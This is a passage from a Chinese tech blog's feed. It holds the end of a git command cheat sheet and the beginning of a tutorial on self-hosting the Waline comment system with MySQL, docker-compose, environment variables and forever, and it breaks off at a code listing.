--set-upstream-to=origin/master master</span><br></pre></td></tr></table></figure><h4 id="检出指定分支">检出指定分支</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git checkout -b dev origin/dev</span><br></pre></td></tr></table></figure><h4 id="打版本，tag的使用">打版本，tag的使用</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 创建了本地一个版本 V1.2 ,并且添加了附注信息 &#x27;release 1.2&#x27;</span></span><br><span class="line">git tag -a V1.2 -m <span class="string">&#x27;release 1.2&#x27;</span></span><br><span class="line"><span class="comment"># 查看tag</span></span><br><span class="line">git tag </span><br><span class="line"><span class="comment"># 显示附注信息,我们需要用 show 指令来查看</span></span><br><span class="line">git show V1.2</span><br><span class="line"><span class="comment"># 同步到远程代码库</span></span><br><span class="line">git push origin --tags</span><br></pre></td></tr></table></figure><h4 id="重新打版本">重新打版本</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 删除了本地 V1.2的版本</span></span><br><span class="line">git tag -d V1.2</span><br><span class="line"><span class="comment"># 删除线上V1.2的版本</span></span><br><span class="line">git push origin :refs/tags/V1.2</span><br><span class="line"><span class="comment"># 获取远程版本</span></span><br><span class="line">git fetch origin tag V1.2</span><br></pre></td></tr></table></figure><h4 id="git-回滚某版本">git 回滚某版本</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git reset --hard commit_id(commit_id替换指定版本，可用 git <span class="built_in">log</span> 指令查看)</span><br><span class="line">git push origin HEAD --force <span class="comment">#远程提交回退</span></span><br></pre></td></tr></table></figure><h4 id="git-本地分支完全替换另外的分支并强制推送远程服务器">git 本地分支完全替换另外的分支并强制推送远程服务器</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查看所有分支</span></span><br><span class="line">git branch</span><br><span class="line"><span class="comment"># 将Branch_xxx 分支内容完成替换当前所在的分支</span></span><br><span class="line">git reset --hard Branch_xxxx</span><br><span class="line"><span class="comment"># 强制推送远程服务器</span></span><br><span class="line">git push origin master --force</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202111021146781.png" alt="image">`</p><h4 id="git-创建远程分支-2">git 创建远程分支</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 创建本地分支并切换</span></span><br><span class="line">git checkout -b 分支名</span><br><span class="line"><span class="comment"># 查看分支</span></span><br><span class="line">git branch -r</span><br><span class="line">git checkout -b branch <span class="string">&#x27;dev&#x27;</span></span><br><span class="line">git push --set-upstream origin dev</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202111021145076.png" alt="image"></p><h4 id="git分支合并">git分支合并</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 进入要合并的分支（如开发分支合并到master，则进入master目录）</span></span><br><span class="line">git checkout master</span><br><span class="line">git pull</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看所有分支是否都pull下来了</span></span><br><span class="line">git branch -a</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用merge合并开发分支</span></span><br><span class="line">git merge 分支名</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看合并之后的状态</span></span><br><span class="line">git status</span><br><span class="line"></span><br><span class="line"><span class="comment"># 有冲突的话，通过IDE解决冲突；</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 解决冲突之后，将冲突文件提交暂存区</span></span><br><span class="line">git add 冲突文件</span><br><span class="line"></span><br><span class="line"><span class="comment"># 提交merge之后的结果</span></span><br><span class="line">git commit</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果不是使用git commit -m &quot;备注&quot; ，那么git会自动将合并的结果作为备注，提交本地仓库；</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 本地仓库代码提交远程仓库</span></span><br><span class="line">git push</span><br><span class="line"></span><br><span class="line"><span class="comment"># git 将分支合并到分支，将master合并到分支的操作步骤是一样的。</span></span><br></pre></td></tr></table></figure><h4 id="git推送至不同的仓库">git推送至不同的仓库</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">git remote add A A仓库地址</span><br><span class="line">git remote add B B仓库地址</span><br><span class="line"></span><br><span class="line"><span class="comment"># 将代码推送至A仓库</span></span><br><span class="line">git push -u A</span><br><span class="line"><span class="comment"># 将代码推送至B仓库</span></span><br><span class="line">git push -u B</span><br></pre></td></tr></table></figure><h4 id="git删除提交过的某个文件的所有记录">git删除提交过的某个文件的所有记录</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">将该文件从历史记录中移除:</span><br><span class="line">git <span class="built_in">log</span> --pretty=oneline --branches -- 文件路径</span><br><span class="line"></span><br><span class="line">重写所有 commit，将该文件从 Git 历史中完全移除：</span><br><span class="line">git filter-branch --index-filter <span class="string">&#x27;git rm --cached --ignore-unmatch 文件路径&#x27;</span> -- --all</span><br><span class="line"></span><br><span class="line">到这里，历史记录中已经没有该文件了。不过运行 filter-branch 产生的日志还是会对该文件有引用，所以还需要运行以下几条命令，把该文件的引用完全删除：</span><br><span class="line"><span class="built_in">rm</span> -Rf .git/refs/original</span><br><span class="line"><span class="built_in">rm</span> -Rf .git/logs/</span><br><span class="line">git gc</span><br><span class="line">git prune</span><br><span class="line"></span><br><span class="line">这时文件夹已经小多了。然后push代码，需强制 push：</span><br><span class="line">git push --force</span><br></pre></td></tr></table></figure><h4 id="git对已经提交过的文件-文件夹进行忽略">git对已经提交过的文件/文件夹进行忽略</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 忽略文件夹</span></span><br><span class="line">git <span class="built_in">rm</span> -r --cached 文件夹</span><br><span class="line"></span><br><span class="line"><span class="comment"># 忽略文件</span></span><br><span class="line">git <span class="built_in">rm</span> --cached 文件</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202111021145000.png" alt="image"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/202111021145829.png" alt="image"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;git-创建远程分支&quot;&gt;git 创建远程分支&lt;/h4&gt;
&lt;figure class=&quot;highlight sh&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span cla</summary>
      
    
    
    
    <category term="git" scheme="https://blog.allbs.cn/categories/git/"/>
    
    
    <category term="git" scheme="https://blog.allbs.cn/tags/git/"/>
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>博客评论系统Waline本地化部署，同时启用邮件及微信通知，随机头像</title>
    <link href="https://blog.allbs.cn/posts/2191/"/>
    <id>https://blog.allbs.cn/posts/2191/</id>
    <published>2022-08-16T03:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景">背景</h2><p>本地化部署Twikoo后发现时不时闪退，鉴于前端水平太差定位问题太费时间，所以干脆更换了一个评论插件Waline</p><p>当前文章只说明CenterOS中直接部署，数据库使用的是mysql。并略做了更改，评论消息推送同时使用邮件及微信推送，默认头像修改为随机生成的头像。如果有其他需要移步：</p><a class="tag-Link" target="_blank" href="https://waline.js.org/">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/waline.js.org/.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">一款基于 Valine 衍生的简洁、安全的评论系统</div>            <div class="tag-link-sitename">waline</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><h2 id="部署">部署</h2><h3 id="安装yarn（npm着实有点慢）">安装yarn（npm着实有点慢）</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm  install -g yarn</span><br></pre></td></tr></table></figure><h3 id="安装Waline">安装Waline</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yarn add @waline/vercel</span><br></pre></td></tr></table></figure><h4 id="docker安装">docker安装</h4><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&#x27;3&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">waline:</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">waline</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">lizheming/waline:latest</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">always</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span><span class="string">:8360:8360</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">$&#123;PWD&#125;/data:/app/data</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="attr">TZ:</span> <span class="string">&#x27;Asia/Shanghai&#x27;</span></span><br><span class="line">      <span class="attr">MYSQL_HOST:</span> <span class="string">mysql</span></span><br><span class="line">      <span class="attr">MYSQL_PORT:</span> <span class="number">3306</span></span><br><span class="line">      <span class="attr">MYSQL_DB:</span> <span class="string">数据库名</span></span><br><span class="line">      <span class="attr">MYSQL_USER:</span> <span class="string">数据库账号</span></span><br><span class="line">      <span class="attr">MYSQL_PASSWORD:</span> <span class="string">数据库密码</span></span><br><span class="line">      <span class="attr">SQLITE_PATH:</span> <span class="string">&#x27;/app/data&#x27;</span></span><br><span class="line">      <span class="attr">JWT_TOKEN:</span> <span class="string">&#x27;Your token&#x27;</span></span><br><span class="line">      <span class="attr">SITE_NAME:</span> <span class="string">&#x27;Your site name&#x27;</span></span><br><span class="line">      <span class="attr">SITE_URL:</span> <span class="string">&#x27;https://example.com&#x27;</span></span><br><span class="line">      <span class="attr">SECURE_DOMAINS:</span> <span class="string">&#x27;example.com&#x27;</span></span><br><span class="line">      <span class="attr">AUTHOR_EMAIL:</span> <span class="string">&#x27;mail@example.com&#x27;</span></span><br></pre></td></tr></table></figure><h3 id="借助forever（保证后台启动并监控其状态）">借助forever（保证后台启动并监控其状态）</h3><h4 id="安装">安装</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install forever -g</span><br></pre></td></tr></table></figure><h4 id="查看运行进程">查看运行进程</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">forever list</span><br></pre></td></tr></table></figure><h3 id="配置环境变量（目前只使用了邮件及微信推送，mysql数据库。将下方中文内容修改为自己的实际信息后执行即可）">配置环境变量（目前只使用了邮件及微信推送，mysql数据库。将下方中文内容修改为自己的实际信息后执行即可）</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot; &quot;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;# Made for Waline env by chenqi on <span class="subst">$(date +%F)</span>&quot;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export MYSQL_DB=数据库名称&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export MYSQL_USER=数据库连接账号&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export MYSQL_PASSWORD=数据库连接密码&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export SMTP_SERVICE=邮件服务器&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export SMTP_USER=邮件服务器账号(一般为邮箱号)&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export SMTP_PASS=邮件服务器密码(多数需要开启邮箱中三方登录，使用其提供的密码)&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export SITE_NAME=网站名称&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export SITE_URL=网站链接&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export AUTHOR_EMAIL=接收邮件推送的邮箱&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export QYWX_AM=企业id,应用密码,需要推送的人(@all指所有人),应用id,推送消息缩略图（素材库的图片的media_id）&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export SENDER_NAME=发送邮件时显示的名称&#x27;</span>&gt;&gt;/etc/profile</span><br><span class="line"><span class="built_in">tail</span> -4 /etc/profile</span><br><span class="line"><span class="built_in">source</span> /etc/profile</span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$PATH</span></span><br></pre></td></tr></table></figure><h4 id="高版本mysql客户端身份验证问题">高版本mysql客户端身份验证问题</h4><p>请求出现<code>ER_NOT_SUPPORTED_AUTH_MODE: Client does not support authentication protocol requested by server; consider upgrading MySQL client</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 连接对应的容器,尖括号内记得替换</span></span><br><span class="line">docker <span class="built_in">exec</span> -it &lt;mysql_container_id_or_name&gt; mysql -uroot -p</span><br><span class="line"></span><br><span class="line">ALTER USER <span class="string">&#x27;your_user&#x27;</span>@<span class="string">&#x27;%&#x27;</span> IDENTIFIED WITH mysql_native_password BY <span class="string">&#x27;your_password&#x27;</span>;</span><br><span class="line">FLUSH PRIVILEGES;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/04/e8705e464f1c1080b85fbff0c8e3e006.png" alt="image-20230421171505610"></p><h3 id="创建数据库及相关表">创建数据库及相关表</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line">CREATE TABLE `wl_Comment` (</span><br><span class="line">  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,</span><br><span class="line">  `user_id` int(11) DEFAULT NULL,</span><br><span class="line">  `comment` text,</span><br><span class="line">  `insertedAt` timestamp NULL DEFAULT CURRENT_TIMESTAMP,</span><br><span class="line">  `ip` varchar(100) DEFAULT &#x27;&#x27;,</span><br><span class="line">  `link` varchar(255) DEFAULT NULL,</span><br><span class="line">  `mail` varchar(255) DEFAULT NULL,</span><br><span class="line">  `nick` varchar(255) DEFAULT NULL,</span><br><span class="line">  `pid` int(11) DEFAULT NULL,</span><br><span class="line">  `rid` int(11) DEFAULT NULL,</span><br><span class="line">  `sticky` boolean DEFAULT NULL,</span><br><span class="line">  `status` varchar(50) NOT NULL DEFAULT &#x27;&#x27;,</span><br><span class="line">  `like` int(11) DEFAULT NULL,</span><br><span class="line">  `ua` text,</span><br><span class="line">  `url` varchar(255) DEFAULT NULL,</span><br><span class="line">  `createdAt` timestamp NULL DEFAULT CURRENT_TIMESTAMP,</span><br><span class="line">  `updatedAt` timestamp NULL DEFAULT CURRENT_TIMESTAMP,</span><br><span class="line">  PRIMARY KEY (`id`)</span><br><span class="line">) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># Dump of table wl_Counter</span><br><span class="line"># ------------------------------------------------------------</span><br><span class="line"></span><br><span class="line">CREATE TABLE `wl_Counter` (</span><br><span class="line">  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,</span><br><span class="line">  `time` int(11) DEFAULT NULL,</span><br><span class="line">  `url` varchar(255) NOT NULL DEFAULT &#x27;&#x27;,</span><br><span class="line">  `createdAt` timestamp NULL DEFAULT CURRENT_TIMESTAMP,</span><br><span class="line">  `updatedAt` timestamp NULL DEFAULT CURRENT_TIMESTAMP,</span><br><span class="line">  PRIMARY KEY (`id`)</span><br><span class="line">) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># Dump of table wl_Users</span><br><span class="line"># ------------------------------------------------------------</span><br><span class="line"></span><br><span class="line">CREATE TABLE `wl_Users` (</span><br><span class="line">  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,</span><br><span class="line">  `display_name` varchar(255) NOT NULL DEFAULT &#x27;&#x27;,</span><br><span class="line">  `email` varchar(255) NOT NULL DEFAULT &#x27;&#x27;,</span><br><span class="line">  `password` varchar(255) NOT NULL DEFAULT &#x27;&#x27;,</span><br><span class="line">  `type` varchar(50) NOT NULL DEFAULT &#x27;&#x27;,</span><br><span class="line">  `label` varchar(255) DEFAULT NULL,</span><br><span class="line">  `url` varchar(255) DEFAULT NULL,</span><br><span class="line">  `avatar` varchar(255) DEFAULT NULL,</span><br><span class="line">  `github` varchar(255) DEFAULT NULL,</span><br><span class="line">  `twitter` varchar(255) DEFAULT NULL,</span><br><span class="line">  `facebook` varchar(255) DEFAULT NULL,</span><br><span class="line">  `google` varchar(255) DEFAULT NULL,</span><br><span class="line">  `weibo` varchar(255) DEFAULT NULL,</span><br><span class="line">  `qq` varchar(255) DEFAULT NULL,</span><br><span class="line">  `2fa` varchar(32) DEFAULT NULL,</span><br><span class="line">  `createdAt` timestamp NULL DEFAULT CURRENT_TIMESTAMP,</span><br><span class="line">  `updatedAt` timestamp NULL DEFAULT CURRENT_TIMESTAMP,</span><br><span class="line">  PRIMARY KEY (`id`)</span><br><span class="line">) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;</span><br></pre></td></tr></table></figure><h3 id="启动Waline-cd到安装目录下">启动Waline(cd到安装目录下)</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 启动</span></span><br><span class="line">forever start -l forever.log -o out.log -e err.log node_modules/@waline/vercel/vanilla.js</span><br><span class="line"></span><br><span class="line"><span class="comment"># 重启</span></span><br><span class="line">forever restart -l forever.log -o out.log -e err.log node_modules/@waline/vercel/vanilla.js</span><br><span class="line"></span><br><span class="line"><span class="comment"># 停止</span></span><br><span class="line">forever stop -l forever.log -o out.log -e err.log node_modules/@waline/vercel/vanilla.js</span><br></pre></td></tr></table></figure><h2 id="修改邮件推送和微信推送同时起作用-并添加ip显示、登录设备信息">修改邮件推送和微信推送同时起作用,并添加ip显示、登录设备信息</h2><p>涉及到的微信配置可以参考文章:</p><a class="tag-Link" target="_blank" href="https://allbs.cn/posts/36172/">    <div class="tag-link-tips">本站相关文章</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/allbs.cn/posts/36172/.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">博客评论系统Twikoo本地化部署</div>            <div class="tag-link-sitename">allbs</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><h3 id="修改文件comment-js（路径node-modules-waline-vercel-src-controller-comment-js）">修改文件comment.js（路径node_modules/@waline/vercel/src/controller/comment.js）</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span 